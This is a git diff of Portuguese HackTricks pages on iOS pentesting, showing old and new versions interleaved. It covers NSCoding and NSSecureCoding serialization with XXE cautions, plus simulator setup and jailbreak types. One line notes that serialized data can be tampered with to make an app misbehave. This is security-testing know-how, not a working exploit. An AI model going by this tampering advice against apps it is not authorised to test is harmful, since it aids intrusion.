* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-me** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||
* **Compartilhe seus truques de hacking enviando PRs para os** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
|
||||
|
||||
</details>
|
||||
|
|
|
@ -1,149 +1,86 @@
|
|||
```markdown
|
||||
### NSCoding e NSSecureCoding
|
||||
<details>
|
||||
|
||||
O iOS vem com dois protocolos para **serialização** de objetos para Objective-C ou `NSObject`s: **`NSCoding`** e **`NSSecureCoding`**. Quando uma **classe está em conformidade** com qualquer um dos protocolos, os dados são serializados para **`NSData`**: um invólucro para **buffers de bytes**. Note que `Data` em Swift é o mesmo que `NSData` ou seu equivalente mutável: `NSMutableData`. O protocolo `NSCoding` declara os dois métodos que devem ser implementados para codificar/deodificar suas variáveis de instância. **Uma classe que usa `NSCoding` precisa implementar `NSObject` ou ser anotada como uma classe @objc**. O protocolo `NSCoding` exige a implementação de encode e init conforme mostrado abaixo.
|
||||
```
|
||||
<summary><strong>Aprenda hacking AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Outras maneiras de apoiar o HackTricks:
|
||||
|
||||
* Se você quiser ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF** Verifique os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||
* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-me** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||
* **Compartilhe seus truques de hacking enviando PRs para o** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
|
||||
|
||||
</details>
|
||||
|
||||
Código e mais informações em [https://mas.owasp.org/MASTG/iOS/0x06h-Testing-Platform-Interaction/#object-persistence](https://mas.owasp.org/MASTG/iOS/0x06h-Testing-Platform-Interaction/#object-persistence).
|
||||
|
||||
## Serialização de Objetos no Desenvolvimento iOS
|
||||
|
||||
No iOS, a **serialização de objetos** envolve a conversão de objetos em um formato que pode ser facilmente armazenado ou transmitido, e então reconstruí-los a partir deste formato quando necessário. Dois protocolos principais, **`NSCoding`** e **`NSSecureCoding`**, facilitam esse processo para subclasses Objective-C ou `NSObject`, permitindo que objetos sejam serializados em **`NSData`**, um formato que envolve buffers de bytes.
|
||||
|
||||
### Implementação de **`NSCoding`**
|
||||
Para implementar `NSCoding`, uma classe deve herdar de `NSObject` ou ser marcada como `@objc`. Este protocolo exige a implementação de dois métodos para codificar e decodificar variáveis de instância:
|
||||
```swift
|
||||
class CustomPoint: NSObject, NSCoding {
|
||||
var x: Double = 0.0
|
||||
var name: String = ""
|
||||
|
||||
//required by NSCoding:
|
||||
func encode(with aCoder: NSCoder) {
|
||||
aCoder.encode(x, forKey: "x")
|
||||
aCoder.encode(name, forKey: "name")
|
||||
}
|
||||
|
||||
var x: Double = 0.0
|
||||
var name: String = ""
|
||||
|
||||
init(x: Double, name: String) {
|
||||
self.x = x
|
||||
self.name = name
|
||||
}
|
||||
|
||||
// required by NSCoding: initialize members using a decoder.
|
||||
required convenience init?(coder aDecoder: NSCoder) {
|
||||
guard let name = aDecoder.decodeObject(forKey: "name") as? String
|
||||
else {return nil}
|
||||
self.init(x:aDecoder.decodeDouble(forKey:"x"),
|
||||
name:name)
|
||||
guard let name = aDecoder.decodeObject(forKey: "name") as? String else { return nil }
|
||||
self.init(x: aDecoder.decodeDouble(forKey: "x"), name: name)
|
||||
}
|
||||
|
||||
//getters/setters/etc.
|
||||
}
|
||||
```
|
||||
O problema com `NSCoding` é que o objeto muitas vezes já está **construído e inserido antes de você poder avaliar** o tipo de classe. Isso **permite que um atacante injete facilmente todos os tipos de dados**. Portanto, o protocolo **`NSSecureCoding`** foi introduzido. Ao conformar-se com [`NSSecureCoding`](https://developer.apple.com/documentation/foundation/NSSecureCoding), você precisa incluir:
|
||||
### **Aprimorando a Segurança com `NSSecureCoding`**
|
||||
Para mitigar vulnerabilidades onde atacantes injetam dados em objetos já construídos, **`NSSecureCoding`** oferece um protocolo aprimorado. Classes que se conformam com `NSSecureCoding` devem verificar o tipo de objetos durante a decodificação, garantindo que apenas os tipos de objetos esperados sejam instanciados. No entanto, é crucial observar que, enquanto `NSSecureCoding` aprimora a segurança de tipos, não criptografa dados ou garante sua integridade, sendo necessárias medidas adicionais para proteger informações sensíveis:
|
||||
```swift
|
||||
static var supportsSecureCoding: Bool {
|
||||
return true
|
||||
}
|
||||
```
|
||||
quando `init(coder:)` faz parte da classe. Em seguida, ao decodificar o objeto, deve ser feita uma verificação, por exemplo:
|
||||
```swift
|
||||
let obj = decoder.decodeObject(of:MyClass.self, forKey: "myKey")
|
||||
```
|
||||
A conformidade com `NSSecureCoding` garante que os objetos sendo instanciados são de fato aqueles que eram esperados. No entanto, **não são realizadas verificações adicionais de integridade** sobre os dados e os dados não são criptografados. Portanto, qualquer dado secreto precisa de **criptografia** adicional e dados cuja integridade deve ser protegida devem receber um HMAC adicional.
|
||||
|
||||
### Arquivamento de Objetos com NSKeyedArchiver
|
||||
|
||||
`NSKeyedArchiver` é uma subclasse concreta de `NSCoder` e oferece uma maneira de codificar objetos e armazená-los em um arquivo. O `NSKeyedUnarchiver` decodifica os dados e recria os dados originais. Vamos pegar o exemplo da seção `NSCoding` e agora arquivar e desarquivar eles:
|
||||
let obj = decoder.decodeObject(of: MyClass.self, forKey: "myKey")
|
||||
```
|
||||
## Arquivamento de Dados com `NSKeyedArchiver`
|
||||
`NSKeyedArchiver` e seu contraparte, `NSKeyedUnarchiver`, permitem codificar objetos em um arquivo e posteriormente recuperá-los. Esse mecanismo é útil para persistir objetos:
|
||||
```swift
|
||||
// archiving:
|
||||
NSKeyedArchiver.archiveRootObject(customPoint, toFile: "/path/to/archive")
|
||||
|
||||
// unarchiving:
|
||||
guard let customPoint = NSKeyedUnarchiver.unarchiveObjectWithFile("/path/to/archive") as?
|
||||
CustomPoint else { return nil }
|
||||
let customPoint = NSKeyedUnarchiver.unarchiveObjectWithFile("/path/to/archive") as? CustomPoint
|
||||
```
|
||||
Você também pode salvar as informações no plist primário `NSUserDefaults`:
|
||||
### Usando `Codable` para Serialização Simplificada
|
||||
O protocolo `Codable` do Swift combina `Decodable` e `Encodable`, facilitando a codificação e decodificação de objetos como `String`, `Int`, `Double`, etc., sem esforço adicional:
|
||||
```swift
|
||||
// archiving:
|
||||
let data = NSKeyedArchiver.archivedDataWithRootObject(customPoint)
|
||||
NSUserDefaults.standardUserDefaults().setObject(data, forKey: "customPoint")
|
||||
|
||||
// unarchiving:
|
||||
if let data = NSUserDefaults.standardUserDefaults().objectForKey("customPoint") as? NSData {
|
||||
let customPoint = NSKeyedUnarchiver.unarchiveObjectWithData(data)
|
||||
}
|
||||
```
|
||||
### Codable
|
||||
|
||||
É uma combinação dos protocolos `Decodable` e `Encodable`. Uma `String`, `Int`, `Double`, `Date`, `Data` e `URL` são naturalmente `Codable`: o que significa que podem ser codificados e decodificados facilmente sem nenhum trabalho adicional. Vamos ver o seguinte exemplo:
|
||||
```swift
|
||||
struct CustomPointStruct:Codable {
|
||||
struct CustomPointStruct: Codable {
|
||||
var x: Double
|
||||
var name: String
|
||||
}
|
||||
```
|
||||
Adicionando `Codable` à lista de herança para o `CustomPointStruct` no exemplo, os métodos `init(from:)` e `encode(to:)` são automaticamente suportados. Para mais detalhes sobre o funcionamento do `Codable`, consulte [a Documentação do Desenvolvedor Apple](https://developer.apple.com/documentation/foundation/archives_and_serialization/encoding_and_decoding_custom_types).
|
||||
Esta abordagem suporta a serialização direta para e a partir de listas de propriedades e JSON, aprimorando o tratamento de dados em aplicativos Swift.
|
||||
|
||||
Você também pode usar codable para salvar os dados na lista de propriedades primária `NSUserDefaults`:
|
||||
```swift
|
||||
struct CustomPointStruct: Codable {
|
||||
var point: Double
|
||||
var name: String
|
||||
}
|
||||
## Alternativas de Codificação JSON e XML
|
||||
Além do suporte nativo, várias bibliotecas de terceiros oferecem capacidades de codificação/decodificação JSON e XML, cada uma com suas próprias características de desempenho e considerações de segurança. É imperativo selecionar cuidadosamente essas bibliotecas, especialmente para mitigar vulnerabilidades como ataques XXE (Entidades Externas XML) configurando os analisadores para evitar o processamento de entidades externas.
|
||||
|
||||
var points: [CustomPointStruct] = [
|
||||
CustomPointStruct(point: 1, name: "test"),
|
||||
CustomPointStruct(point: 2, name: "test"),
|
||||
CustomPointStruct(point: 3, name: "test"),
|
||||
]
|
||||
### Considerações de Segurança
|
||||
Ao serializar dados, especialmente para o sistema de arquivos, é essencial estar atento à possível inclusão de informações sensíveis. Dados serializados, se interceptados ou manipulados incorretamente, podem expor aplicativos a riscos como ações não autorizadas ou vazamento de dados. Recomenda-se criptografar e assinar dados serializados para aumentar a segurança.
|
||||
|
||||
UserDefaults.standard.set(try? PropertyListEncoder().encode(points), forKey: "points")
|
||||
if let data = UserDefaults.standard.value(forKey: "points") as? Data {
|
||||
let points2 = try? PropertyListDecoder().decode([CustomPointStruct].self, from: data)
|
||||
}
|
||||
```
|
||||
### Codificação JSON
|
||||
|
||||
Existem muitas bibliotecas de terceiros para codificar dados em JSON (como exposto [aqui](https://mobile-security.gitbook.io/mobile-security-testing-guide/ios-testing-guide/0x06h-testing-platform-interaction#json-and-codable)). No entanto, a Apple oferece suporte para codificação/decodificação de JSON diretamente combinando `Codable` com um `JSONEncoder` e um `JSONDecoder`:
|
||||
```swift
|
||||
struct CustomPointStruct: Codable {
|
||||
var point: Double
|
||||
var name: String
|
||||
}
|
||||
|
||||
let encoder = JSONEncoder()
|
||||
encoder.outputFormatting = .prettyPrinted
|
||||
|
||||
let test = CustomPointStruct(point: 10, name: "test")
|
||||
let data = try encoder.encode(test)
|
||||
let stringData = String(data: data, encoding: .utf8)
|
||||
|
||||
// stringData = Optional ({
|
||||
// "point" : 10,
|
||||
// "name" : "test"
|
||||
// })
|
||||
```
|
||||
### XML
|
||||
|
||||
Existem várias maneiras de fazer codificação XML. Semelhante ao parsing de JSON, existem várias bibliotecas de terceiros, como: [Fuzi](https://github.com/cezheng/Fuzi), [Ono](https://github.com/mattt/Ono), [AEXML](https://github.com/tadija/AEXML), [RaptureXML](https://github.com/ZaBlanc/RaptureXML), [SwiftyXMLParser](https://github.com/yahoojapan/SwiftyXMLParser), [SWXMLHash](https://github.com/drmohundro/SWXMLHash)
|
||||
|
||||
Elas variam em termos de velocidade, uso de memória, persistência de objetos e mais importante: diferem na forma como lidam com entidades externas XML. Veja [XXE no visualizador de Office da Apple iOS](https://nvd.nist.gov/vuln/detail/CVE-2015-3784) como exemplo. Portanto, é fundamental desativar o parsing de entidades externas, se possível. Veja a [folha de dicas de prevenção de XXE da OWASP](https://cheatsheetseries.owasp.org/cheatsheets/XML\_External\_Entity\_Prevention\_Cheat\_Sheet.html) para mais detalhes. Além das bibliotecas, você pode usar a classe [`XMLParser` da Apple](https://developer.apple.com/documentation/foundation/xmlparser)
|
||||
|
||||
Quando não estiver usando bibliotecas de terceiros, mas sim o `XMLParser` da Apple, certifique-se de que `shouldResolveExternalEntities` retorne `false`.
|
||||
|
||||
{% hint style="danger" %}
|
||||
Todas essas formas de serializar/codificar dados podem ser **usadas para armazenar dados no sistema de arquivos**. Nesses cenários, verifique se os dados armazenados contêm qualquer tipo de **informação sensível**.\
|
||||
Além disso, em alguns casos, você pode ser capaz de **abusar de alguns dados serializados** (capturando-os via MitM ou modificando-os dentro do sistema de arquivos) desserializando dados arbitrários e **fazendo com que o aplicativo execute ações inesperadas** (veja a [página de Deserialization](../../pentesting-web/deserialization/)). Nestes casos, é recomendado enviar/salvar os dados serializados criptografados e assinados.
|
||||
{% endhint %}
|
||||
|
||||
## Referências
|
||||
|
||||
{% embed url="https://mobile-security.gitbook.io/mobile-security-testing-guide/ios-testing-guide/0x06h-testing-platform-interaction#testing-object-persistence-mstg-platform-8" %}
|
||||
|
||||
|
||||
* [https://mas.owasp.org/MASTG/iOS/0x06h-Testing-Platform-Interaction/#object-persistence](https://mas.owasp.org/MASTG/iOS/0x06h-Testing-Platform-Interaction/#object-persistence)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Aprenda hacking no AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>Aprenda hacking AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Outras maneiras de apoiar o HackTricks:
|
||||
|
||||
* Se você quiser ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF** Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||
* Obtenha o [**merchandising oficial do PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
|
||||
* **Junte-se ao grupo** 💬 [**Discord**](https://discord.gg/hRep4RUj7f) ou ao grupo [**telegram**](https://t.me/peass) ou **siga**-me no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||
* **Compartilhe suas dicas de hacking enviando PRs para os repositórios github do** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
* Se você deseja ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF** Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||
* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-me** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||
* **Compartilhe seus truques de hacking enviando PRs para os** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
|
||||
|
||||
</details>
|
||||
|
|
|
@ -2,48 +2,46 @@
|
|||
|
||||
<details>
|
||||
|
||||
<summary><strong>Aprenda hacking no AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>Aprenda hacking AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Outras formas de apoiar o HackTricks:
|
||||
Outras maneiras de apoiar o HackTricks:
|
||||
|
||||
* Se você quer ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF**, confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||
* Adquira o [**material oficial PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
|
||||
* **Junte-se ao grupo** 💬 [**Discord**](https://discord.gg/hRep4RUj7f) ou ao grupo [**telegram**](https://t.me/peass) ou **siga-me** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||
* **Compartilhe suas técnicas de hacking enviando PRs para os repositórios do GitHub** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
- Se você deseja ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF**, verifique os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||
- Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
- Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
- **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-me** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||
- **Compartilhe seus truques de hacking enviando PRs para o** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
|
||||
|
||||
</details>
|
||||
|
||||
## Programa de Desenvolvedor Apple
|
||||
## Programa de Desenvolvedor da Apple
|
||||
|
||||
Uma **provisioning identity** é um conjunto de chaves públicas e privadas associadas a uma conta de desenvolvedor Apple. Para **assinar apps**, é necessário pagar **99$/ano** para se registrar no **Programa de Desenvolvedor Apple** e obter sua provisioning identity. Sem isso, você não poderá executar aplicativos a partir do código-fonte em um dispositivo físico. Outra opção é usar um **dispositivo jailbroken**.
|
||||
Uma **identidade de provisionamento** é uma coleção de chaves públicas e privadas associadas a uma conta de desenvolvedor da Apple. Para **assinar aplicativos**, você precisa pagar **99$/ano** para se registrar no **Programa de Desenvolvedor da Apple** e obter sua identidade de provisionamento. Sem isso, você não poderá executar aplicativos a partir do código-fonte em um dispositivo físico. Outra opção para fazer isso é usar um **dispositivo com jailbreak**.
|
||||
|
||||
A partir do Xcode 7.2, a Apple forneceu uma opção para criar um **perfil de provisionamento de desenvolvimento iOS gratuito** que permite escrever e testar seu aplicativo em um iPhone real. Vá para _Xcode_ --> _Preferências_ --> _Contas_ --> _+_ (Adicionar novo ID Apple às suas credenciais) --> _Clique no Apple ID criado_ --> _Gerenciar Certificados_ --> _+_ (Desenvolvimento Apple) --> _Concluído_\
|
||||
\_\_Então, para executar seu aplicativo no iPhone, você precisa primeiro **indicar ao iPhone para confiar no computador.** Depois, você pode tentar **executar o aplicativo no celular a partir do Xcode,** mas um erro aparecerá. Então vá para _Ajustes_ --> _Geral_ --> _Gerenciamento de Perfis e Dispositivos_ --> Selecione o perfil não confiável e clique em "**Confiar**".
|
||||
A partir do Xcode 7.2, a Apple forneceu uma opção para criar um **perfil de provisionamento de desenvolvimento iOS gratuito** que permite escrever e testar seu aplicativo em um iPhone real. Vá para _Xcode_ --> _Preferências_ --> _Contas_ --> _+_ (Adicionar novo ID de Aplicativo às suas credenciais) --> _Clique no ID Apple criado_ --> _Gerenciar Certificados_ --> _+_ (Desenvolvimento da Apple) --> _Concluído_\
|
||||
\_\_Então, para executar seu aplicativo em seu iPhone, você precisa primeiro **indicar ao iPhone que confie no computador**. Em seguida, você pode tentar **executar o aplicativo no celular a partir do Xcode**, mas um erro aparecerá. Portanto, vá para _Ajustes_ --> _Geral_ --> _Perfis e Gerenciamento de Dispositivos_ --> Selecione o perfil não confiável e clique em "**Confiar**".
|
||||
|
||||
Note que **aplicativos assinados pelo mesmo certificado de assinatura podem compartilhar recursos de maneira segura, como itens do keychain**.
|
||||
Observe que **aplicativos assinados pelo mesmo certificado de assinatura podem compartilhar recursos de maneira segura, como itens de chaveiro**.
|
||||
|
||||
Os perfis de provisionamento são armazenados dentro do telefone em **`/Library/MobileDevice/ProvisioningProfiles`**
|
||||
|
||||
## **Simulador**
|
||||
|
||||
{% hint style="info" %}
|
||||
Note que um **simulador não é o mesmo que um emulador**. O simulador apenas simula o comportamento do dispositivo e funções, mas não as utiliza de fato.
|
||||
Observe que um **simulador não é o mesmo que um emulador**. O simulador apenas simula o comportamento do dispositivo e suas funções, mas não as utiliza de fato.
|
||||
{% endhint %}
|
||||
|
||||
**O** simulador do SDK iOS oferece uma _simulação_ de nível superior de um dispositivo iOS. O mais importante é que os binários do emulador são compilados para código x86 em vez de código ARM. Apps compilados para um dispositivo real não funcionam, tornando o simulador inútil para análise de caixa preta e engenharia reversa.
|
||||
|
||||
### **Simulador**
|
||||
|
||||
A primeira coisa que você precisa saber é que **realizar um pentest dentro de um simulador será muito mais limitado do que fazê-lo em um dispositivo jailbroken**.
|
||||
A primeira coisa que você precisa saber é que **realizar um pentest dentro de um simulador será muito mais limitado do que fazê-lo em um dispositivo com jailbreak**.
|
||||
|
||||
Todas as ferramentas necessárias para construir e dar suporte a um app iOS são **oficialmente suportadas apenas no Mac OS**.\
|
||||
A ferramenta de fato da Apple para criar/debugar/instrumentar aplicativos iOS é o **Xcode**. Ele pode ser usado para baixar outros componentes como **simuladores** e diferentes **versões do SDK** necessárias para construir e **testar** seu app.\
|
||||
É altamente recomendável **baixar** o Xcode da **loja oficial de aplicativos**. Outras versões podem conter malware.
|
||||
Todas as ferramentas necessárias para construir e dar suporte a um aplicativo iOS são **oficialmente suportadas apenas no Mac OS**.\
|
||||
A ferramenta padrão da Apple para criar/debugar/instrumentar aplicativos iOS é o **Xcode**. Ele pode ser usado para baixar outros componentes, como **simuladores** e diferentes **versões de SDK** necessárias para construir e **testar** seu aplicativo.\
|
||||
É altamente recomendável **baixar** o Xcode da **App Store oficial**. Outras versões podem conter malware.
|
||||
|
||||
Os arquivos do simulador podem ser encontrados em `/Users/<username>/Library/Developer/CoreSimulator/Devices`
|
||||
|
||||
Para abrir o simulador, execute o Xcode, depois pressione na aba _Xcode_ --> _Ferramentas do Desenvolvedor Abertas_ --> _Simulador_\
|
||||
Para abrir o simulador, execute o Xcode, em seguida, clique na _aba Xcode_ --> _Abrir Ferramentas de Desenvolvedor_ --> _Simulador_\
|
||||
\_\_Na imagem a seguir, clicando em "iPod touch \[...]" você pode selecionar outro dispositivo para testar:
|
||||
|
||||
![](<../../.gitbook/assets/image (457).png>)
|
||||
|
@ -52,88 +50,61 @@ Para abrir o simulador, execute o Xcode, depois pressione na aba _Xcode_ --> _Fe
|
|||
|
||||
### Aplicativos no Simulador
|
||||
|
||||
Dentro de `/Users/<username>/Library/Developer/CoreSimulator/Devices`, você pode encontrar todos os **simuladores instalados**. Se você quiser acessar os arquivos de um aplicativo criado dentro de um dos emuladores, pode ser difícil saber **em qual deles o app está instalado**. Uma maneira rápida de **encontrar o UID correto** é executar o app no simulador e executar:
|
||||
Dentro de `/Users/<username>/Library/Developer/CoreSimulator/Devices`, você pode encontrar todos os **simuladores instalados**. Se você deseja acessar os arquivos de um aplicativo criado dentro de um dos emuladores, pode ser difícil saber **em qual deles o aplicativo está instalado**. Uma maneira rápida de **encontrar o UID correto** é executar o aplicativo no simulador e executar:
|
||||
```bash
|
||||
xcrun simctl list | grep Booted
|
||||
iPhone 8 (BF5DA4F8-6BBE-4EA0-BA16-7E3AFD16C06C) (Booted)
|
||||
```
|
||||
Uma vez que você conhece o UID, os aplicativos instalados dentro dele podem ser encontrados em `/Users/<username>/Library/Developer/CoreSimulator/Devices/{UID}/data/Containers/Data/Application`
|
||||
|
||||
No entanto, surpreendentemente, você não encontrará o aplicativo aqui. Você precisa acessar `/Users/<username>/Library/Developer/Xcode/DerivedData/{Application}/Build/Products/Debug-iphonesimulator/`
|
||||
No entanto, surpreendentemente você não encontrará o aplicativo aqui. Você precisa acessar `/Users/<username>/Library/Developer/Xcode/DerivedData/{Application}/Build/Products/Debug-iphonesimulator/`
|
||||
|
||||
E nesta pasta você pode **encontrar o pacote do aplicativo.**
|
||||
|
||||
## Emulador
|
||||
|
||||
Corellium é o único emulador de iOS disponível publicamente. É uma solução empresarial SaaS com um modelo de licença por usuário e não oferece nenhuma licença de teste.
|
||||
Corellium é o único emulador iOS publicamente disponível. É uma solução SaaS empresarial com um modelo de licença por usuário e não oferece nenhum teste gratuito.
|
||||
|
||||
## Jailbreaking
|
||||
## Jailbreak
|
||||
|
||||
A Apple exige estritamente que o código executado no iPhone seja **assinado por um certificado emitido pela Apple**. **Jailbreaking** é o processo de **contornar ativamente tais restrições** e outros controles de segurança impostos pelo sistema operacional. Portanto, uma vez que o dispositivo está com jailbreak, a **verificação de integridade**, responsável por checar os aplicativos sendo instalados, é corrigida para ser **burlada**.
|
||||
A Apple exige estritamente que o código em execução no iPhone deve ser **assinado por um certificado emitido pela Apple**. **Jailbreaking** é o processo de **contornar ativamente tais restrições** e outros controles de segurança implementados pelo sistema operacional. Portanto, uma vez que o dispositivo é jailbroken, a **verificação de integridade** responsável por verificar os aplicativos instalados é contornada.
|
||||
|
||||
{% hint style="info" %}
|
||||
Ao contrário do Android, **você não pode mudar para o "Modo Desenvolvedor"** no iOS para executar código não assinado/não confiável no dispositivo.
|
||||
Ao contrário do Android, **você não pode alternar para o "Modo Desenvolvedor"** no iOS para executar código não confiável/não assinado no dispositivo.
|
||||
{% endhint %}
|
||||
|
||||
### Comparação com Root no Android
|
||||
### Rooting no Android vs. Jailbreaking no iOS
|
||||
|
||||
O jailbreaking do iOS é frequentemente **comparado ao root no Android**, mas o processo é na verdade bastante **diferente**. Para explicar a diferença, primeiro revisaremos os conceitos de "rooting" e "flashing" no Android.
|
||||
Embora frequentemente comparados, **rooting** no Android e **jailbreaking** no iOS são processos fundamentalmente diferentes. O rooting de dispositivos Android pode envolver **a instalação do binário `su`** ou **a substituição do sistema por uma ROM personalizada com root**, o que não necessariamente requer exploits se o bootloader estiver desbloqueado. **Flashing de ROMs personalizadas** substitui o sistema operacional do dispositivo após desbloquear o bootloader, às vezes exigindo um exploit.
|
||||
|
||||
* **Rooting**: Isso normalmente envolve instalar o binário `su` no sistema ou substituir todo o sistema por uma ROM customizada com root. Exploits não são necessários para obter acesso root, desde que o bootloader seja acessível.
|
||||
* **Flashing de ROMs customizadas**: Isso permite substituir o sistema operacional que está rodando no dispositivo depois de desbloquear o bootloader. O bootloader pode exigir um exploit para ser desbloqueado.
|
||||
Por outro lado, dispositivos iOS não podem fazer flash de ROMs personalizadas devido à restrição do bootloader de apenas inicializar imagens assinadas pela Apple. **Jailbreaking no iOS** visa contornar as proteções de assinatura de código da Apple para executar código não assinado, um processo complicado pelas contínuas melhorias de segurança da Apple.
|
||||
|
||||
**Nos dispositivos iOS, flashar uma ROM customizada é impossível** porque o bootloader do iOS **permite apenas imagens assinadas pela Apple** para serem iniciadas e flashadas. É por isso que até mesmo **imagens oficiais do iOS não podem ser instaladas se não estiverem assinadas pela Apple, e isso torna os downgrades do iOS possíveis apenas enquanto a versão anterior do iOS ainda estiver assinada.**
|
||||
### Desafios do Jailbreaking
|
||||
|
||||
O objetivo do jailbreaking é **desativar as proteções do iOS** (mecanismos de assinatura de código da Apple, em particular) para que **código arbitrário não assinado possa ser executado no dispositivo** (por exemplo, código personalizado ou baixado de lojas de aplicativos alternativas, como Cydia ou Sileo). A palavra "jailbreak" é uma referência coloquial às ferramentas all-in-one que automatizam o processo de desativação.
|
||||
O jailbreaking no iOS está se tornando cada vez mais difícil à medida que a Apple corrige rapidamente as vulnerabilidades. **Rebaixar o iOS** é possível apenas por um tempo limitado após um lançamento, tornando o jailbreaking uma questão sensível ao tempo. Dispositivos usados para testes de segurança não devem ser atualizados a menos que o re-jailbreaking seja garantido.
|
||||
|
||||
### Considerações sobre Jailbreaking
|
||||
As atualizações do iOS são controladas por um **mecanismo de desafio-resposta** (blobs SHSH), permitindo a instalação apenas para respostas assinadas pela Apple. Esse mecanismo, conhecido como "janela de assinatura", limita a capacidade de armazenar e posteriormente usar pacotes de firmware OTA. O site [IPSW Downloads](https://ipsw.me) é um recurso para verificar as janelas de assinatura atuais.
|
||||
|
||||
Fazer jailbreak em um dispositivo iOS está se tornando cada vez mais **complicado** porque a Apple continua reforçando o sistema e corrigindo as vulnerabilidades exploradas. Jailbreaking tornou-se um procedimento muito sensível ao tempo porque **a Apple para de assinar essas versões vulneráveis relativamente logo após lançar uma correção** (a menos que o jailbreak se beneficie de vulnerabilidades baseadas em hardware, como o [exploit limera1n](https://www.theiphonewiki.com/wiki/Limera1n) que afeta o BootROM do iPhone 4 e do iPad 1). Isso significa que **você não pode fazer downgrade para uma versão específica do iOS uma vez que a Apple para de assinar o firmware**.
|
||||
### Variedades de Jailbreak
|
||||
|
||||
Se você tem um dispositivo com jailbreak que usa para testes de segurança, **mantenha-o** como está, a menos que você esteja 100% certo de que pode fazer jailbreak novamente após atualizar para a versão mais recente do iOS.
|
||||
- **Jailbreaks tethered** exigem uma conexão com o computador para cada reinicialização.
|
||||
- **Jailbreaks semi-tethered** permitem a inicialização no modo não jailbroken sem um computador.
|
||||
- **Jailbreaks semi-untethered** exigem re-jailbreaking manual sem a necessidade de um computador.
|
||||
- **Jailbreaks untethered** oferecem uma solução de jailbreak permanente sem a necessidade de reaplicação.
|
||||
|
||||
